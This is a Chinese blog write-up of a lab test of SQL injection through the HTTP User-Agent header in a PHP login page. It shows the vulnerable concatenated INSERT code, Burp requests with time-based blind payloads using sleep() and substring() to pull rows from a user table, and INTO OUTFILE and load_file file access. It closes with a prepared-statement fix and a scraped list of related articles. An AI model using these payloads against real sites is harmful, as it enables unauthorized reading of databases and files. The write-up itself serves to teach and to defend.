原理很简单:后台在接收UA时没有对UA做过滤,也没有PDO进行数据交互(实际PDO是非常有必要的),导致UA中有恶意代码,最终在数据库中执行。

Bug 代码:

本地顺手打了一个环境,Bug 代码部分:

// 保存到访者的IP信息

  1. $db=DBConnect();
  2. $tbLog=$db->tbPrefix.'log'; $executeArr=array('ip'=>($_SERVER["HTTP_VIA"])?$_SERVER["HTTP_X_FORWARDED_FOR"]:$_SERVER["REMOTE_ADDR"],'ua'=>$_SERVER['HTTP_USER_AGENT'],'visit_time'=>date('Y-m-d H:i:s'));
  3. $db->AutoExecute($tbLog,$executeArr);
  4. $smarty=InitSmarty();
  5. $smarty->assign('do',$do);
  6. $smarty->assign('show',$show);
  7. $smarty->assign('url',$url);
  8. $smarty->display('login.html');

 其中 AutoExecute() 方法 代码如下:

  1. public function AutoExecute($table,$array=array(),$type='INSERT',$where=''){
  2. if(!empty($array) && !empty($table)){
  3. switch(strtoupper($type)){
  4. case 'INSERT':
  5. $sql="INSERT INTO {$table}(".implode(',',array_keys($array)).") VALUES('".implode("','",array_values($array))."')";
  6. echo $sql;
  7. break;
  8. default:break;
  9. }
  10. return $this->Execute($sql);
  11. }
  12. else{
  13. return false;
  14. }
  15. }

可以看出 ip,ua 这个变量未经过任何过滤 以 SQL 拼接的方式插入到数据库中。

SQLMap 初探:

因为是 HTTP Header 注入,所以决定简单粗暴的使用 -r 参数测试有无注入。

用burp 代理截包保存成 req.txt ,内容如下:

  1. GET /index.php?do=login HTTP/1.1
  2.  
  3. Host: localhost
  4. User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
  5. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  6. Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
  7. Accept-Encoding: gzip, deflate
  8. Cookie: csrftoken=zfPpDQbDhjPJ7Xbh8z3aMqAxhVv8vvCs
  9. Connection: keep-alive

使用 sqlmap.py -r req.txt --level 3 没跑出来,姿势不对??? 决定用自己的双手实现自己的梦想啦~~

手动注入测试:

使用burp 的repeater 模块,修改User-Agent:

  1. GET /index.php?do=login HTTP/1.1
  2.  
  3. Host: localhost
  4. User-Agent: Anka9080',(select(sleep(5))))#
  5. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  6. Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
  7. Accept-Encoding: gzip, deflate
  8. Cookie: csrftoken=zfPpDQbDhjPJ7Xbh8z3aMqAxhVv8vvCs
  9. Connection: keep-alive

结果真会发现等待了5s才收到网站的返回信息,延时注入测试成功~~

该请求发送后,实际执行的SQL语句 如下:

  1. INSERT INTO log(ip,ua,visit_time) VALUES('127.0.0.1','Anka9080',(select(sleep(5))))#','2016-05-26 20:15:41')

进一步分析这条SQL语句:

Select(sleep(5))  返回的是 0 ,在外层加上一对括号,相当于单引号(‘’),还有一个右括号) 用来闭合 VALUES 的 左括号,类似于字符型插入,后面的 # 是注释符,会把原本的时间等数据给注释掉,保证了这是一条可执行的SQL语句。

猜数据,读文件:

预先在数据库中创建了表 user(user,pass) 存在一个条目 admin,admin666

通过sleep判断基于时间的延时注射,下面手工构造用户名并根据相应时间来判断是否存在这个用户(在 UA 位置执行整条SQL 来判断):

把 UA 的值改成如下:

  1. User-Agent: Anka9080',(select sleep(5) from user where substring(user,1,1)='a'))#

执行的SQL是

  1. INSERT INTO log(ip,ua,visit_time) VALUES('127.0.0.1','Anka9080',(select sleep(5) from user where substring(user,1,1)='a'))#','2016-05-26 21:04:49')

若user 表 中存在以a 开头的数据,则会延迟5秒返回页面,

当然一般要先对用户表user 做 fuzzing, 这个把 where 条件去掉就可以了。

同理 使用 substring(user,1,n) 来判断第n个字符是什么,继而得到了完整的字段的值。

已经能读出数据了,尝试下读写文件,理论上有权限就可以。

把user 表的内容读出来并写入到服务器文件中:

  1. INSERT INTO log(ip,ua,dt) VALUES('127.0.0.1','Anka9080',(select * from user into outfile '盘/绝对路径/1.txt'))#','2016-05-26 21:30:04'

不知为何没有执行成功 在 SQL 查询器里单独执行

  1. select * from user into outfile '盘/绝对路径/1.txt'

是可以的...

如果注入点是有输出的位置,则

利用Id = 1 union select 1, loadfile(‘盘/绝对路径/1.txt’) from message 来读取文件内容到页面显示

此外,其他 HTTP Header 的注入与 User-Agent 的注入是一样道理的。

至于防御SQL注入,预编译吧,简单可靠,不需要做任何的过滤,做到了“数据和代码的分离

  1. <?php
  2.  
  3. $link = new mysqli('localhost', 'analytics_user', 'aSecurePassword', 'analytics_db');
  4.  
  5. $stmt = $link->prepare("INSERT INTO visits (ua, dt) VALUES (?, ?)");
  6. $stmt->bind_param("ss", $_SERVER["HTTP_USER_AGENT"], date("Y-m-d h:i:s"));
  7. $stmt->execute();
  8.  
  9. ?>
    参考文章:http://www.freebuf.com/articles/web/105124.html

『SQL注入』 User-Agent 手工注入的探测与利用分析的更多相关文章

  1. SQL注入之PHP-MySQL实现手工注入-数字型

    SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.具体来说,它是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎 ...

  2. SQL注入之PHP-MySQL实现手工注入-字符型

    SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.具体来说,它是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎 ...

  3. 『高性能模型』Roofline Model与深度学习模型的性能分析

    转载自知乎:Roofline Model与深度学习模型的性能分析 在真实世界中,任何模型(例如 VGG / MobileNet 等)都必须依赖于具体的计算平台(例如CPU / GPU / ASIC 等 ...

  4. 2019-10-29:渗透测试,基础学习,sqlmap文件读取,写入,dnslog盲注作用,mssql手工注入,笔记

    sqlmap参数--file-read,从数据库服务器中读取文件--file-write,--file-dest,把文件上传到数据库服务器中 dnslog平台的学习和它在盲注中的应用1,判断注入点2, ...

  5. 手工注入——MySQL手工注入实战和分析

    今天进行了MySQL手工注入实战,分享一下自己的实战过程和总结,这里环境使用的是墨者学院的在线靶场.话不多说,咱们直接开始. 第一步,判断注入点 通过 ' 和构造 and 1=1 和 and 1=2 ...

  6. MySQL手工注入进阶篇——突破过滤危险字符问题

    当我们在进行手工注入时,有时候会发现咱们构造的危险字符被过滤了,接下来,我就教大家如何解决这个问题.下面是我的实战过程.这里使用的是墨者学院的在线靶场.咱们直接开始. 第一步,判断注入点. 通过测试发 ...

  7. sql server手工注入

    sql server手工注入 测试网站testasp.vulnweb.com 1. http://testasp.vulnweb.com/showforum.asp?id=0 http://testa ...

  8. 小白日记41:kali渗透测试之Web渗透-SQL手工注入(三)-猜测列名、表名、库名、字段内容,数据库写入

    SQL手工注入 靶机:metasploitable(低)  1.当无权读取infomation_schema库[MySQL最重要的源数据库,必须有root权限]/拒绝union.order by语句 ...

  9. 小白日记40:kali渗透测试之Web渗透-SQL手工注入(二)-读取文件、写入文件、反弹shell

    SQL手工注入 1.读取文件[load_file函数] ' union  SELECT null,load_file('/etc/passwd')--+ burpsuite 2.写入文件 ' unio ...

随机推荐

  1. runtime 如何实现 weak 属性

    出题者简介: 孙源(sunnyxx),目前就职于百度 整理者简介:陈奕龙(子循),目前就职于滴滴出行. 转载者:豆电雨(starain)微信:doudianyu 要实现 weak 属性,首先要搞清楚 ...

  2. IOT数据库选型——NOSQL,MemSQL,cassandra,Riak或者OpenTSDB,InfluxDB

    IoT databases should be as flexible as required by the application. NoSQLdatabases -- especially key ...

  3. OS开发 touch事件的优先级和事件传递

    界面类的对象一般都是可以接触点击事件的,只不过有的默认接受,有的需要设定属性. userInteractionEnabled 属性设置为YES的时候就可以接受点击事件了 - (void)touches ...

  4. 南阳理工ACM-OJ 分数加减法 最大公约数的使用

    http://acm.nyist.net/JudgeOnline/problem.php?pid=111 简单模拟: #include <iostream> #include <st ...

  5. poj 3478 The Stable Marriage Problem 稳定婚姻问题

    题目给出n个男的和n个女的各自喜欢对方的程度,让你输出一个最佳搭配,使得他们全部人的婚姻都是稳定的. 所谓不稳婚姻是说.比方说有两对夫妇M1,F1和M2,F2,M1的老婆是F1,但他更爱F2;而F2的 ...

  6. J2EE之WebLogic Server

    WebLogic是用于开发.集成.部署和管理大型分布式Web应用. 网络应用和数据库应 用的Java应用server. 将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用 ...

  7. Android中实现跨app之间数据的暴露与接收

    例如一个小项目:实现单词本的添加单词等功能 功能:不同的方式实现跨app之间数据的暴露与接收 暴露端app:实现单词的添加(Word.Translate),增删改查: 接收端app:模糊查询,得到暴露 ...

  8. POJ 3162 Walking Race(树的直径+单调队列)

    题目大意:对一棵树,求出从每个结点出发能到走的最长距离(每个结点最多只能经过一次),将这些距离按排成一个数组得到dis[1],dis[2],dis[3]……dis[n] ,在数列的dis中求一个最长的 ...

  9. JSON 遍历转为Model Bean

    @RequestMapping(value = "/batchAddPageIndexBrand") @ResponseBody public HashMap<String, ...

  10. canvas --> getImageData()

    getImageData() 使用时有跨域问题 设置img的属性 crossOrigin="anonymous"可解决crossOrigin的问题 <img src=&quo ...